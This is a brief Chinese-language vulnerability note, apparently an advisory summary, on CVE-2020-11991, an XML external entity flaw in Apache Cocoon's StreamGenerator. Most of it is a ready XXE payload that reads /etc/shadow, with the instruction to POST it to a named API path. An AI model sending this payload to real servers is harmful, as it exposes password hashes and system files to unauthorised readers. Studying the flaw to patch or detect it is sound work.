Apache Cocoon XML注入 [CVE-2020-11991]

受影响版本: Apache Cocoon <= 2.1.x

程序使用了StreamGenerator这个方法时,解析从外部请求的xml数据包未做相关的限制,恶意用户就可以构造任意的xml表达式,使服务器解析达到XML注入的安全问题。

 

以下是apache社区官方提供利用方式：

<!--?xml version="1.0" ?--> 
<!DOCTYPE replace [<!ENTITY ent SYSTEM 
"file:///etc/shadow"> ]> 
<userInfo> 
<firstName>John</firstName> 
<lastName>&ent;</lastName> 
</userInfo>

与普通XXE并无差别，向/v2/api/product/manger/getInfo位置POST构造好的xml数据即可

来源:http://mail-archives.apache.org/mod_mbox/cocoon-users/202009.mbox/author